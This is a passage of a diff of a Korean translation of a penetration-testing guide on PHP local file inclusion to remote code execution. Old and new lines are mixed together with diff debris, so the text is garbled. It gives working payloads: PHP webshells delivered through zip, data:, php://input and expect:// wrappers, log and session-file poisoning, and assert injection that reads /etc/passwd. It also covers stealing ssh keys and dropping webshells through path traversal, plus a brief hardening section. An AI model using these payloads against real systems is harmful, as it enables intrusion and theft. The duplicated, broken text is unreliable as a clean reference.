- 최종 문제는 **how to leak more than the initial letter**입니다. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 같은 order memory filters를 사용하면 문자 순서를 바꿔 텍스트의 다른 문자들을 첫 위치로 올릴 수 있습니다.
|
||||
- 그리고 추가 데이터를 얻기 위해서는 아이디어는 **convert.iconv.UTF16.UTF16**로 처음에 **2 bytes of junk data at the beginning**을 생성하고, **UCS-4LE**를 적용해 다음 2바이트와 **pivot**하게 한 뒤, d**elete the data until the junk data** (이렇게 하면 초기 텍스트의 첫 2바이트가 제거됩니다). 원하는 비트를 leak할 때까지 이 과정을 반복합니다.
|
||||
- 코덱 **`UCS-4LE`** 를 사용해 텍스트의 선행 문자를 앞에 남겨두고 문자열의 크기가 기하급수적으로 증가하게 만듭니다.
|
||||
- 이렇게 하면 초기 문자가 정확히 맞았을 때 **매우 큰 텍스트를 생성**하여 php가 **error** 를 발생시킬 수 있습니다.
|
||||
- **dechunk** 필터는 **첫 문자가 hexadecimal이 아니면 모든 것을 제거**하므로, 첫 문자가 hex인지 아닌지 알 수 있습니다.
|
||||
- 앞의 것과 (그리고 추측한 문자에 따라 다른 필터들과) 결합하면, 충분한 변환을 했을 때 해당 문자가 hexadecimal 문자가 아니게 되는 시점을 보고 텍스트의 처음 문자를 추측할 수 있습니다. 만약 hex라면 dechunk가 삭제하지 않고 초기 폭탄이 php error를 발생시킵니다.
|
||||
- 코덱 **convert.iconv.UNICODE.CP930** 은 모든 문자를 다음 문자로 변환합니다(예: 이 코덱 후: a -> b). 따라서 예를 들어 첫 문자가 `a`인지 알아내려면 이 코덱을 6번 적용하면 a->b->c->d->e->f->g가 되어 더 이상 hexadecimal 문자가 아니게 되고, 그 결과 dechunk가 삭제하지 않아 초기 폭탄과 합쳐져 php error가 발생합니다.
|
||||
- 처음에 **rot13** 같은 변환을 적용하면 n, o, p, q, r 같은 다른 문자들을 leak할 수 있으며(그리고 다른 코덱들을 사용해 다른 문자들을 hex 범위로 이동시킬 수 있습니다).
|
||||
- 초기 문자가 숫자일 경우에는 base64 encode가 필요하며 숫자를 알아내려면 앞의 2문자를 leak해야 합니다.
|
||||
- 최종 문제는 **초기 문자 이상을 어떻게 leak할지** 입니다. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 같은 order memory 필터를 사용하면 문자들의 순서를 바꿔 텍스트의 다른 문자를 첫 번째 위치로 가져올 수 있습니다.
|
||||
- 추가 데이터를 얻기 위해서는 아이디어는 **convert.iconv.UTF16.UTF16** 으로 시작 시점에 2바이트의 정크 데이터를 생성하고, **UCS-4LE** 를 적용해 그것을 다음 2바이트와 **피벗**시키며, **정크 데이터가 나올 때까지 데이터를 삭제**하는 것입니다(이렇게 하면 초기 텍스트의 처음 2바이트가 제거됩니다). 원하는 비트까지 도달할 때까지 이 과정을 반복합니다.
|
||||
|
||||
In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
포스트에서는 이 과정을 자동으로 수행하는 도구도 공개되었습니다: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
|
||||
이 wrapper는 프로세스가 연 파일 디스크립터에 접근할 수 있게 해줍니다. 열린 파일들의 내용을 exfiltrate하는 데 잠재적으로 유용할 수 있습니다:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
또한 **php://stdin, php://stdout and php://stderr**를 사용하여 각각 **file descriptors 0, 1 and 2**에 접근할 수 있습니다 (공격에서 어떻게 유용할지는 잘 모르겠습니다)
|
||||
You can also use **php://stdin, php://stdout and php://stderr** to access the **file descriptors 0, 1 and 2** respectively (not sure how this could be useful in an attack)
|
||||
|
||||
### zip:// and rar://
|
||||
### zip:// 및 rar://
|
||||
|
||||
PHPShell이 포함된 Zip or Rar file을 업로드하고 접근하세요.\
|
||||
rar protocol을 남용하려면 **특별히 활성화되어야 합니다**.
|
||||
PHPShell이 들어있는 Zip 또는 Rar 파일을 업로드한 뒤 접근하세요.\
|
||||
rar 프로토콜을 악용하려면 **명시적으로 활성화되어야 합니다**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -327,24 +328,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
||||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
이 프로토콜은 php 설정 **`allow_url_open`** 및 **`allow_url_include`**에 의해 제한됩니다.
|
||||
이 프로토콜은 php 설정인 **`allow_url_open`** 및 **`allow_url_include`**에 의해 제한된다는 점에 유의하세요
|
||||
|
||||
### expect://
|
||||
|
||||
Expect가 활성화되어 있어야 합니다. 이를 통해 code를 실행할 수 있습니다:
|
||||
Expect는 활성화되어 있어야 합니다. 다음을 사용하여 코드를 실행할 수 있습니다:
|
||||
```
|
||||
http://example.com/index.php?page=expect://id
|
||||
http://example.com/index.php?page=expect://ls
|
||||
```
|
||||
### input://
|
||||
|
||||
POST 파라미터에 페이로드를 지정하세요:
|
||||
POST 파라미터에 payload를 지정하세요:
|
||||
```bash
|
||||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||||
```
|
||||
### phar://
|
||||
|
||||
웹 애플리케이션이 파일 로딩에 `include`와 같은 함수를 사용할 때 `.phar` 파일을 이용해 PHP 코드를 실행할 수 있습니다. 아래의 PHP 코드 스니펫은 `.phar` 파일을 생성하는 예를 보여줍니다:
|
||||
웹 애플리케이션이 `include` 같은 파일 로딩 함수를 사용할 때 `.phar` 파일을 이용해 PHP 코드를 실행할 수 있습니다. 아래 PHP 코드 스니펫은 `.phar` 파일을 생성하는 방법을 보여줍니다:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -357,11 +358,11 @@ $phar->stopBuffering();
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
실행하면 `test.phar`라는 파일이 생성되며, 이는 Local File Inclusion (LFI) 취약점을 악용하는 데 사용될 수 있습니다.
|
||||
실행 시 `test.phar`라는 파일이 생성되며, 이는 Local File Inclusion (LFI) 취약점을 악용하는 데 잠재적으로 활용될 수 있습니다.
|
||||
|
||||
LFI가 내부의 PHP 코드를 실행하지 않고 `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, 또는 `filesize()` 같은 함수로 파일을 단순히 읽는 경우, `phar` 프로토콜로 파일을 읽을 때 발생하는 deserialization 취약점을 이용해 공격을 시도할 수 있습니다.
|
||||
LFI가 내부의 PHP 코드를 실행하지 않고 `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, 또는 `filesize()`와 같은 함수들을 통해 단순히 파일을 읽기만 하는 경우, phar 프로토콜을 이용한 파일 읽기에 연관된 deserialization 취약점을 이용해 공격을 시도할 수 있습니다. 이 취약점은 `phar` 프로토콜을 사용한 파일 읽기와 관련이 있습니다.
|
||||
|
||||
자세한 내용을 이해하려면 아래 문서를 참조하세요:
|
||||
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
@ -372,36 +373,36 @@ phar-deserialization.md
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
**php filters를 지원하는 PHP에서 읽는 임의의 파일**을 악용하여 RCE를 얻을 수 있었습니다. 자세한 설명은 [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
매우 간단 요약: PHP 힙의 **3 byte overflow**를 악용해 특정 크기의 free chunk 체인을 **변조하여** 임의의 주소에 **무엇이든 쓸 수 있게** 했고, 그 결과 **`system`**을 호출하는 훅을 추가했습니다.\
|
||||
추가적인 php filters를 악용해 특정 크기의 chunk를 할당하는 것이 가능했습니다.
|
||||
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
매우 간단 요약: PHP 힙에서 발생한 **3 byte overflow**를 악용하여 특정 크기의 **free chunks 체인**을 변경함으로써 **임의 주소에 무엇이든 쓸 수 있게** 되었고, 그 결과 `system`을 호출하도록 후킹이 추가되었습니다.\
|
||||
추가적인 php filters를 악용해 특정 크기의 청크를 할당할 수 있었습니다.
|
||||
|
||||
### 더 많은 프로토콜
|
||||
### 추가 프로토콜
|
||||
|
||||
더 많은 가능한 [**protocols to include here**](https://www.php.net/manual/en/wrappers.php)**을 확인하세요:**
|
||||
더 많은 가능한[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)를 확인하세요:
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 메모리나 임시 파일에 쓰기 (file inclusion 공격에서 어떻게 유용할지 확실하지 않음)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 메모리나 임시 파일에 쓰기 (file inclusion 공격에서 어떻게 유용할지는 확실하지 않습니다)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — 로컬 파일시스템 접근
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL 접근
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL 접근
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 압축 스트림
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 패턴에 맞는 경로명 검색 (출력 가능한 내용을 반환하지 않으므로 여기서는 별로 유용하지 않음)
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 패턴과 일치하는 경로명 찾기 (출력 가능한 내용을 반환하지 않으므로 여기서는 별로 유용하지 않음)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 오디오 스트림 (임의의 파일을 읽는 데 유용하지 않음)
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 오디오 스트림 (임의 파일을 읽는 데에는 유용하지 않음)
|
||||
|
||||
## PHP의 'assert'를 통한 LFI
|
||||
|
||||
문자열 내 코드를 실행할 수 있는 'assert' 함수와 관련된 경우 PHP에서 Local File Inclusion (LFI)의 위험이 특히 높습니다. 특히 입력값에 ".."와 같은 디렉터리 트래버설 문자가 포함되어 있는지 확인만 하고 적절히 정제되지 않으면 문제가 됩니다.
|
||||
PHP에서 문자열 내의 코드를 실행할 수 있는 'assert' 함수를 사용할 때 Local File Inclusion (LFI) 위험이 특히 큽니다. 특히 입력에 ".." 같은 directory traversal 문자가 포함되어 있는지를 검사하더라도 이를 적절히 정제(sanitize)하지 않으면 문제가 됩니다.
|
||||
|
||||
예를 들어, PHP 코드는 다음과 같이 디렉터리 트래버설을 방지하도록 설계될 수 있습니다:
|
||||
예를 들어, PHP 코드는 다음과 같이 directory traversal을 방지하도록 설계될 수 있습니다:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
이는 traversal를 막기 위한 시도이지만, 의도치 않게 code injection 벡터를 만들어냅니다. 파일 내용을 읽기 위해 이를 악용하려면 공격자는 다음을 사용할 수 있습니다:
|
||||
이는 traversal를 차단하려는 목적이지만, 의도치 않게 code injection을 위한 vector를 만듭니다. 파일 내용을 읽기 위해 이를 악용하려면, attacker는 다음을 사용할 수 있습니다:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
마찬가지로, 임의의 시스템 명령을 실행하려면 다음을 사용할 수 있습니다:
|
||||
마찬가지로, 임의의 시스템 명령을 실행하려면 다음을 사용할 수 있다:
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
@ -410,13 +411,13 @@ It's important to **URL-encode these payloads**.
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> 이 기법은 당신이 **control** 하는 **file path** 를 가진 **PHP function** 이 **파일에 접근(access a file)** 하지만 파일의 내용을 보지 못하는 경우(예: 단순한 **`file()`** 호출처럼)와 관련이 있습니다.
|
||||
> 이 기법은 당신이 **제어하는** **파일 경로**를 갖는 **PHP 함수**가 **파일에 접근**하도록 호출되지만 파일의 내용을 볼 수 없는 경우(예: 단순한 **`file()`** 호출처럼) 관련이 있습니다.
|
||||
|
||||
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
|
||||
|
||||
요약하자면, 이 기법은 **"UCS-4LE" encoding** 을 사용해 파일의 내용을 매우 **big** 하게 만들어 해당 파일을 여는 **PHP function opening** 이 **error** 를 발생시키도록 하는 방식입니다.
|
||||
요약하면, 이 기법은 파일의 내용을 **매우 크게** 만들기 위해 **"UCS-4LE" encoding**을 사용하여 파일을 여는 **PHP 함수가 오류를 유발**하도록 하는 방식입니다.
|
||||
|
||||
그 다음, 첫 문자를 leak 하기 위해 filter **`dechunk`** 를 다른 것들(예: **base64**, **rot13**)과 함께 사용하고 마지막으로 필터 **convert.iconv.UCS-4.UCS-4LE** 및 **convert.iconv.UTF16.UTF-16BE** 를 사용하여 **place other chars at the beggining and leak them**.
|
||||
그 다음, 첫 번째 문자를 **leak**하기 위해 필터 **`dechunk`** 를 다른 필터들(예: **base64**, **rot13**)과 함께 사용하고, 마지막으로 필터 **convert.iconv.UCS-4.UCS-4LE** 및 **convert.iconv.UTF16.UTF-16BE** 를 사용해 **문자들을 앞에 배치하고 leak**합니다.
|
||||
|
||||
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
@ -426,20 +427,20 @@ For the technical details check the mentioned post!
|
||||
|
||||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||||
|
||||
서버 측 코드가 사용자 제어 데이터(예: filename 또는 URL)를 사용하여 대상 경로를 조합할 때, canonicalising 및 유효성 검사를 하지 않으면 `..` 세그먼트와 절대 경로가 의도한 디렉터리를 벗어나 임의의 파일 쓰기가 발생할 수 있습니다. 페이로드를 web-exposed 디렉터리에 놓을 수 있다면, 보통 webshell 을 drop 해서 인증 없이 RCE 를 얻을 수 있습니다.
|
||||
서버 측 코드가 사용자 제어 데이터(예: filename 또는 URL)를 사용해 대상 경로를 생성하면서 canonicalise(정규화)하거나 검증하지 않으면, `..` 세그먼트나 절대 경로를 통해 의도된 디렉터리를 벗어나 임의 파일 쓰기가 발생할 수 있습니다. 페이로드를 웹에 노출된 디렉터리에 배치할 수 있다면, 보통 webshell을 업로드하여 인증 없는 RCE를 얻을 수 있습니다.
|
||||
|
||||
Typical exploitation workflow:
|
||||
- 경로/파일명을 받아 디스크에 내용을 쓰는 엔드포인트 또는 background worker(예: 메시지 기반 ingestion, XML/JSON command handlers, ZIP extractors 등)에서 write primitive 를 식별합니다.
|
||||
- web-exposed directories 를 파악합니다. 일반적인 예:
|
||||
- 경로/파일명을 받아 내용을 디스크에 쓰는 쓰기 primitive를 제공하는 endpoint나 background worker를 식별합니다(예: message-driven ingestion, XML/JSON command handlers, ZIP extractors 등).
|
||||
- 웹에 노출된 디렉터리를 확인합니다. 일반적인 예시:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||
- 의도한 저장 디렉터리에서 webroot 로 빠져나오도록 traversal path 를 만들고, 웹셸 내용을 포함시킵니다.
|
||||
- 배치된 페이로드에 브라우저로 접속하여 명령을 실행합니다.
|
||||
- 의도된 저장 디렉터리에서 webroot로 빠져나오도록 traversal 경로를 구성하고, webshell 내용을 포함시킵니다.
|
||||
- 배치된 페이로드로 이동하여 명령을 실행합니다.
|
||||
|
||||
Notes:
|
||||
- 쓰기를 수행하는 취약한 서비스는 비-HTTP 포트에서 리스닝할 수 있습니다(예: TCP 4004 의 JMF XML listener). 메인 웹 포털(다른 포트)이 나중에 당신의 페이로드를 제공할 수 있습니다.
|
||||
- Java 스택에서는 이러한 파일 쓰기가 단순한 `File`/`Paths` 문자열 결합으로 구현되는 경우가 많습니다. canonicalisation/allow-listing의 부재가 핵심 결함입니다.
|
||||
- 쓰기를 수행하는 취약한 서비스는 비-HTTP 포트에서 수신(listen)할 수 있습니다(예: TCP 4004의 JMF XML listener). 이후 메인 웹 포털(다른 포트)이 당신의 페이로드를 서빙할 수 있습니다.
|
||||
- Java 스택에서는 이러한 파일 쓰기가 단순한 `File`/`Paths` 문자열 결합으로 구현되는 경우가 많습니다. 정규화/허용 목록 부재가 핵심 결함입니다.
|
||||
|
||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||
```xml
|
||||
@ -465,25 +466,25 @@ in.transferTo(out);
|
||||
</Command>
|
||||
</JMF>
|
||||
```
|
||||
Hardening that defeats this class of bugs:
|
||||
- 경로를 정규화(canonical path)하고 허용 목록에 등록된 기본 디렉터리의 하위 경로인지 강제 검사합니다.
|
||||
- `..`가 포함되거나 절대 루트 또는 드라이브 문자가 있는 경로는 거부하고, 가능한 경우 생성된 파일 이름을 사용하세요.
|
||||
- writer를 권한이 낮은 계정으로 실행하고, 쓰기 디렉터리를 서비스되는 루트와 분리하세요.
|
||||
이 유형의 버그를 막는 하드닝:
|
||||
- 경로를 정규 경로로 해석하고 허용된 베이스 디렉토리의 하위인지 강제하세요.
|
||||
- `..`, 절대 루트(absolute roots) 또는 드라이브 문자(drive letters)가 포함된 경로는 거부하세요; 생성된 파일 이름을 사용하세요.
|
||||
- writer를 낮은 권한 계정으로 실행하고 쓰기 디렉토리를 서비스 루트와 분리하세요.
|
||||
|
||||
## Remote File Inclusion
|
||||
|
||||
Explained previously, [**follow this link**](#remote-file-inclusion).
|
||||
앞서 설명했습니다, [**follow this link**](#remote-file-inclusion).
|
||||
|
||||
### Via Apache/Nginx log file
|
||||
|
||||
Apache나 Nginx 서버가 include 함수 내부에서 **LFI에 취약**하다면, **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**에 접근을 시도해 **user agent** 또는 **GET parameter**에 **`<?php system($_GET['c']); ?>`** 같은 PHP shell을 기록한 뒤 그 파일을 include할 수 있습니다.
|
||||
만약 Apache 또는 Nginx 서버가 include 함수 내부에서 **LFI에 취약하다면**, **`/var/log/apache2/access.log` 또는 `/var/log/nginx/access.log`**에 접근을 시도해 **user agent**나 **GET parameter**에 **`<?php system($_GET['c']); ?>`** 같은 php shell을 넣고 그 파일을 include할 수 있습니다.
|
||||
|
||||
> [!WARNING]
|
||||
> 쉘에 대해 **double quotes**를 사용하고 **simple quotes** 대신 사용할 경우, 큰따옴표는 문자열 "_**quote;**_"로 변환되어 **PHP가 오류를 발생시키고**, **다른 어떤 것도 실행되지 않습니다**.
|
||||
> 셸에 **double quotes**를 **simple quotes** 대신 사용하면 큰따옴표가 문자열 "_**quote;**_"로 변경되고, 그 지점에서 **PHP가 에러를 발생시키며** 다른 것은 **실행되지 않습니다**.
|
||||
>
|
||||
> 또한, **payload를 정확히 작성**해야 합니다. 그렇지 않으면 로그 파일을 불러올 때마다 PHP가 오류를 일으키고 두 번째 기회가 주어지지 않습니다.
|
||||
> 또한 페이로드를 **정확히 작성**해야 합니다. 그렇지 않으면 로그 파일을 로드할 때마다 PHP가 에러를 내고 다시 시도할 기회를 얻지 못합니다.
|
||||
|
||||
다른 로그에서도 동일한 방법을 시도할 수 있지만 **주의하세요,** 로그 내부의 코드가 URL encoded되어 Shell이 파괴될 수 있습니다. 헤더 **authorisation "basic"**에는 Base64로 인코딩된 "user:password"가 포함되며 로그 내에서 디코딩됩니다. PHPShell은 이 헤더 안에 삽입할 수 있습니다.\
|
||||
이 방법은 다른 로그에서도 시도할 수 있지만 **주의하세요,** 로그 내부의 코드가 URL encoded되어 Shell이 손상될 수 있습니다. 헤더 **authorisation "basic"**는 Base64로 인코딩된 "user:password"를 포함하며 로그 내에서 디코딩됩니다. PHPShell은 이 헤더 안에 삽입될 수 있습니다.\
|
||||
Other possible log paths:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
@ -500,42 +501,42 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
||||
|
||||
### 이메일을 통해
|
||||
|
||||
**메일을 보내기**: 내부 계정 (user@localhost)으로 `<?php echo system($_REQUEST["cmd"]); ?>` 같은 PHP payload를 포함한 메일을 보내고, 사용자 메일을 **`/var/mail/<USERNAME>`** 또는 **`/var/spool/mail/<USERNAME>`** 경로로 include 해보세요.
|
||||
**메일을 전송**하여 내부 계정 (user@localhost)으로 PHP payload인 `<?php echo system($_REQUEST["cmd"]); ?>`를 포함한 메일을 보내고, 사용자 메일을 다음 경로들처럼 포함하려 시도하세요: **`/var/mail/<USERNAME>`** 또는 **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### /proc/\*/fd/\*을 통해
|
||||
### /proc/\*/fd/\*를 통해
|
||||
|
||||
1. 많은 shells를 업로드하세요 (예: 100)
|
||||
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), 여기서 $PID는 프로세스의 PID(무차별 대입 가능)이고 $FD는 파일 디스크립터(역시 무차별 대입 가능)입니다.
|
||||
1. 많은 shells(예: 100개)를 업로드하세요
|
||||
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD)를 include하세요. 여기서 $PID = 프로세스의 PID(무차별 대입으로 찾을 수 있음)이고 $FD는 파일 디스크립터(역시 무차별 대입 가능)입니다
|
||||
|
||||
### /proc/self/environ을 통해
|
||||
### /proc/self/environ를 통해
|
||||
|
||||
로그 파일과 마찬가지로, User-Agent에 payload를 넣어 전송하면 /proc/self/environ 파일에 반영됩니다.
|
||||
로그 파일처럼, payload를 User-Agent에 넣어 전송하면 /proc/self/environ 파일 안에 반영됩니다
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### upload를 통해
|
||||
### 업로드를 통해
|
||||
|
||||
파일을 upload할 수 있다면, 그냥 그 안에 shell payload를 inject하세요 (예: `<?php system($_GET['c']); ?>`).
|
||||
파일을 업로드할 수 있다면, 그 안에 shell payload를 주입하세요 (예: `<?php system($_GET['c']); ?>` ).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
파일을 읽기 쉽게 유지하려면 이미지/문서/PDF의 메타데이터에 주입하는 것이 가장 좋습니다
|
||||
파일을 읽기 쉬운 상태로 유지하려면 이미지/문서/PDF의 메타데이터에 주입하는 것이 좋습니다
|
||||
|
||||
### Zip 파일 업로드를 통해
|
||||
|
||||
PHP shell을 포함한 압축된 ZIP 파일을 업로드하고 접근:
|
||||
PHP shell이 포함된 ZIP 파일을 업로드한 뒤 접근:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### PHP sessions을 통해
|
||||
### PHP sessions를 통해
|
||||
|
||||
웹사이트가 PHP Session (PHPSESSID)을 사용하는지 확인하세요.
|
||||
웹사이트가 PHP Session (PHPSESSID)을 사용하는지 확인하세요
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
PHP에서는 이 세션들이 _/var/lib/php5/sess\\_\[PHPSESSID]\_ 파일에 저장됩니다.
|
||||
PHP에서 이러한 세션은 _/var/lib/php5/sess\\_\[PHPSESSID]\_ 파일에 저장됩니다
|
||||
```
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
@ -544,105 +545,105 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
LFI를 사용하여 PHP 세션 파일 포함하기
|
||||
LFI를 사용하여 PHP 세션 파일을 포함하세요.
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
### ssh를 통한
|
||||
### ssh를 통해
|
||||
|
||||
ssh가 활성화되어 있다면 /proc/self/status & /etc/passwd 를 확인해 어떤 사용자가 사용되는지 파악하고 **\<HOME>/.ssh/id_rsa**에 접근을 시도해 보세요.
|
||||
ssh가 활성화되어 있으면 (/proc/self/status & /etc/passwd)를 확인하여 어떤 사용자가 사용되는지 확인하고 **\<HOME>/.ssh/id_rsa**에 접근해 보세요.
|
||||
|
||||
### **vsftpd** _**logs**_를 통한
|
||||
### **vsftpd** _**로그**_를 통해
|
||||
|
||||
FTP 서버 vsftpd의 로그는 _**/var/log/vsftpd.log**_에 위치합니다. Local File Inclusion (LFI) 취약점이 존재하고 노출된 vsftpd 서버에 접근할 수 있는 경우, 다음 절차를 고려할 수 있습니다:
|
||||
FTP 서버 vsftpd의 로그는 _**/var/log/vsftpd.log**_에 있습니다. Local File Inclusion (LFI) 취약점이 존재하고 노출된 vsftpd 서버에 접근할 수 있는 경우, 다음 단계를 고려할 수 있습니다:
|
||||
|
||||
1. 로그인 과정에서 username 필드에 PHP 페이로드를 주입합니다.
|
||||
2. 주입 후, LFI를 이용해 서버 로그 _**/var/log/vsftpd.log**_를 조회합니다.
|
||||
2. 주입 후, LFI를 이용하여 서버 로그 _**/var/log/vsftpd.log**_를 가져옵니다.
|
||||
|
||||
### php base64 filter (using base64)를 통한
|
||||
### php base64 filter를 통해 (base64 사용)
|
||||
|
||||
[this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 문서에서 설명한 것처럼, PHP base64 filter는 Non-base64를 무시합니다. 이를 이용해 파일 확장자 검사(file extension check)를 우회할 수 있습니다: 만약 ".php"로 끝나는 base64를 제공하면 필터는 "."을 무시하고 "php"를 base64에 덧붙입니다. 예시 페이로드는 다음과 같습니다:
|
||||
이 [기사](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)에서 보여주듯, PHP base64 filter는 non-base64 문자를 무시합니다. 이를 사용해 파일 확장자 검사를 우회할 수 있습니다: base64 끝에 ".php"를 붙여 전달하면, filter는 "."를 무시하고 base64에 "php"를 추가합니다. 예시 페이로드는 다음과 같습니다:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (no file needed)
|
||||
### php filters를 통한 방법 (파일 필요 없음)
|
||||
|
||||
이 [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)는 **php filters to generate arbitrary content**을 출력으로 사용할 수 있음을 설명합니다. 즉 include에 사용할 **generate arbitrary php code**를 파일에 **without needing to write** 하지 않고 생성할 수 있다는 뜻입니다.
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)은 **php filters를 사용해 임의의 콘텐츠를 출력**할 수 있음을 설명합니다. 즉, 파일로 **작성하지 않고도** include에 사용할 **임의의 php code를 생성**할 수 있다는 뜻입니다.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
{{#endref}}
|
||||
|
||||
### Via segmentation fault
|
||||
### segmentation fault를 통한 방법
|
||||
|
||||
**Upload**한 파일이 `/tmp`에 **temporary**로 저장된 다음, 같은 **request**에서 **segmentation fault**를 유발하면 해당 **temporary file won't be deleted** 상태가 되어 파일을 찾을 수 있습니다.
|
||||
**파일을 업로드**하면 `/tmp`에 **임시**로 저장되고, 같은 **요청에서** **segmentation fault**를 유발하면 **임시 파일이 삭제되지 않아** 해당 파일을 찾아볼 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
{{#endref}}
|
||||
|
||||
### Via Nginx temp file storage
|
||||
### Nginx 임시 파일 저장을 통한 방법
|
||||
|
||||
